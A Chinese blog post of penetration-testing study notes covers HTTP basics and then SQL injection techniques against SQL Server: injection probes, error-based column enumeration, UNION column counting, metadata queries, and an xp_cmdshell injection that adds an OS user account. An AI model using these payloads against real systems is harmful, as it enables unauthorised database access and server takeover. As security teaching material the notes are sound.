渗透1

Posted on 2019-10-15 11:10  大白不白  阅读(140)  评论(0编辑  收藏  举报

http:

1 GET 请求指定的页面信息,并返回实体主体
2 HEAD 类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头
3 POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立或已有的资源的修改
4 PUT 从客户端向服务器传送的数据取代指定的文档的内容
5 DELET 请求服务器删除指定的页面
6 CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器
7 OPTIONS 允许客户端查看服务器的性能
8 TRACE 回显服务器收到的请求,主要用于测试或诊断

请求头:

User-Agent:产生请求的浏览器类型

Accept:客户端可识别的内容类型列表

host:请求的主机名,允许多个域名同处一个ip地址,虚拟主机

Content-Encoding:文档的编码(Encode)方法。解码后才可以得到Content-Type头指定的内容类型。

Content-Length:表示内容长度。只有当浏览器使用HTTP连接时才需要这个数据。例如,下载数据时,通过它查看字节大小

Content-Type:表示后面的文档是属于什么MIME类型。Servlet默认为text/plain,但最好显式指出

Date:当前的GMT时间(格林威治时间)

Expires:表示在什么时候认为文档已经过期,从而不再缓存它

Last-Modified:文档的最后改动时间

Location:文档位置,表示客户端应该到那提取文档

Refresh:表示浏览器应该在多少时间后刷新文档或页面(只一次,非重复),以秒计。Refresh不属于HTTP1.1正式规范中,而是一个扩展,但Netscape和IE都支持它

Server:服务器名字

Set-Cookie:设置页面相关的Cookie

WWWW-Authenticate:表示客户端需要在其中提供某类型的授权信息。例如,在包含401状态行的应答中,这个头就需要设置

 

状态行:

1xx:指示信息--表示请求已接收,继续处理。
2xx:成功--表示请求已被成功接收、理解、接受。
3xx:重定向--要完成请求必须进行更进一步的操作。
4xx:客户端错误--请求有语法错误或请求无法实现。
5xx:服务器端错误--服务器未能实现合法的请求。

200 OK:客户端请求成功。
400 Bad Request:客户端请求有语法错误,不能被服务器所理解。
401 Unauthorized:请求未经授权,这个状态代码必须和WWW-Authenticate报头域一起使用。
403 Forbidden:服务器收到请求,但是拒绝提供服务。
404 Not Found:请求资源不存在,举个例子:输入了错误的URL。
500 Internal Server Error:服务器发生不可预期的错误。
503 Server Unavailable:服务器当前不能处理客户端的请求,一段时间后可能恢复正常,举个例子:HTTP/1.1 200 OK(CRLF)。

 

SQL注入:

注入漏洞分类:

数字型注入:

假设有URL为:http://www.xxser.com/test.php?id=8

http://www.xxser.com/test.php?id=8'
SQL语句为:select * from table where id=8',这样的语句肯定会出错,导致脚本程序无法从数据库中正常获取数据,从而使原来的页面出现异常。
http://www.xxser.com/test.php?id=8 and 1=1
SQ语句为:select * from table where id =8 and 1=1,语句执行正常,返回的数据与原始请求无任何差异
http://www.xxser.com/test.php?id=8 and 1=2
SQL语句为:select * from table where id=8 and 1=2语句执行正常,但是无法查询出数据,因为1=2始终为假,返回数据与原始请求有差异。
如果以上三个步骤都满足,则程序就可能存在SQL注入漏洞。

字符型注入:

当我们输入的参数是string类型时,称为字符型

当攻击者进行SQL注入时,如果输入 admin and 1=1 ,则无法进行注入。因为 admin and 1=1 会被数据库当作查询的字符串,SQL语句变为

select * from table where username = 'admin and 1=1'
这时候如果我们想要注入,那么就必须要注意字符串的闭合问题,输入admin’ and 1=1 - - 就可以继续注入,SQL语句如下

select * from table where username ='admin' and 1=1 - -'
只要是字符型的注入,都必须要闭合单引号以及注释多余的代码。

cookie注入:

GET /user/login.php?username=admin&password=123456 HTTP/1.1

  • POST注入:注入字段在POST数据中;
  • Cookie注入:注入字段在Cookie数据中;
  • 延时注入:使用数据库延时特性注入;
  • 搜索注入:注入处为搜索的地点;
  • base64注入:注入字符串需要经过base64加密

 

查询root用户详细信息,SQL语句如下

select * from users where username='root'
攻击者可以利用SQL Server特性来获取敏感信息,输入如下语句:
'having 1=1- -
最终执行的SQL语句为:

select * from users where username='root' and password='root' having 1=1- -'

选择列表中的列’users.id’无效,因为该列没有包含在聚合函数或GROUP BY 子句中。
可以发现当前表名为"users",并且存在"ID"列名,攻击者可以利用此特性继续得到其他列名,输入如下SQL语句:

select * from users where username='root' and password='root' group by users.id having 1=1- -'
选择列表中的列’users.username’无效,因为该列没有包含在聚合函数或GROUP BY 子句中。
可以看到执行器又抛出了"username"列名,由此可以依次递归查询,直到没有错误消息返回为止,这样就可以利用having子句"查询"出当前表的所有列名。

 

利用数据类型错误提取数据
如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另外一个不兼容的类型时,那么SQL编辑器将会抛出异常

 

获取元数据
SQL Sever 提供了大量的视图,便于取得元数据。下面将使用INFORMATION_SCHEMA.TABLES与INFORMATION_SCHEMA.COLUMNS视图取得数据库表以及表的字段。
取得当前数据库表:

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

取得Student表字段:

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=‘Student’

数据库视图          说明
sys.databases:SQL Server中的所有数据库
sys.sql_logins:SQL Server中的所有登录名
Information_schema.tables:当前用户数据库中的表
information_schema.columns:当前用户数据库中的列
sys.all_columns:用户定义对象和系统对象的所有列的联合
sys.database_principals:数据库中每个权限或异常权限
sys.database_files:存储在数据库中的数据库文件
sysobjects:数据库中创建的每个对象(例如约束、日志以及存储过程)

Order by 位置号4超出了选择列表中项数的范围。
select id ,username,password from users where id =1 Order by 4
在SQL语句中,只查询了三列,而我们却要求数据库按照第四列排序,所以数据库抛出异常,而攻击者也得知了当前SQL语句有几列存在。在Oracle、MySQL数据库中同样适用此语句。

 

使用UNION查询对id字段注入,SQL语句如下:

select di ,username,password,sex from users where id =1 union select null
使用UNION、INTERSECT或EXCEPT运算符合并的所欲查询必须在其目标列表中有相同数目的表达式。
递归查询,直到无错误产生,然后我们就可以知道User表查询的字段数了

union select null,null
union select null,null,null

如果第1列数据类型不匹配,数据库将会报错,这时可以继续递归查询,直到语句正常执行为止。

id=5 union select null, 'x' ,null,null from sysobject where xtype='U'
id=5 union select null, null ,'x',null from sysobject where xtype='U'
语句执行正常,代表数据类型兼容,就可以将x换为SQL语句,查询敏感信息。
也有攻击者喜欢用UNION ALL关键字,UNION和UNION ALL最大的区别在于UNION会自动去除重复的数据,并且按照默认规则排序。

select suser_name():返回用户的登录标识名;
select user_name(): 基于指定的标识号返回数据库用户名;
select db_name(): 返回数据库名称;
selectis_member(‘db_owner’):是否为数据库角色;
select convert(int,‘5’):数据类型转换。

 存储过程:

例如:http://www.secbug.org/test.aspx?id=1存在注入点,那么攻击者就可以实施命令攻击:

http://www.secbug.org/test.aspx?id=1;exec xp_cmdshell 'net user test /add'

sp_addlogin 创建新的SQL Server登录,该登录允许用户使用SQL Server身份验证连接到SQL Server实例
sp_dropuser 从当前数据库中删除数据库用户
xp_enumgroups 提供Microsoft Windows本地组列表或在指定的Windows域中定义的全局组列表
xp_regwrite 未被公布的存储过程,写入注册表
xp_regread 读取注册表
xp_regdeletevalue 删除注册表
xp_dirtree 读取目录
sp_password 更改密码
xp_servicecontrol 停止或激活某服务

角色          权限
bulkadmin 角色成员可以运行BULK INSERT语句
dbcreator 可以创建、更改、删除和还原任何数据库
diskadmin 可以管理磁盘文件
processadmin 可以终止在数据库引擎实例中运行的进程
securityadmin 可以管理登录名及其属性。可以利用GRANT、DENY和REVOKE服务器级别的权限;还可以利用GRANT、DENY和REVOKE数据库级别的权限。此外,也可以重置SQL Server登录名的面密码
serveradmin 可以更改服务器范围的配置选项和关闭服务器
setupadmin 可以添加和删除链接服务器,并可以执行某些系统存储过程
sysadmin 角色成员可以在数据库引擎中执行任何活动。默认情况下,Windows BUILTIN\Administrators组(本地管理员组)的所有成员都是sysadmin固定服务器角色的成员

SQL Server支持动态执行语句,用户可以提交一个字符串来执行SQL语句,例如:

exec ('select username,password from users')
exec('select'+'t username,password fro' +'m users')

 

Copyright © 2024 大白不白
Powered by .NET 9.0 on Kubernetes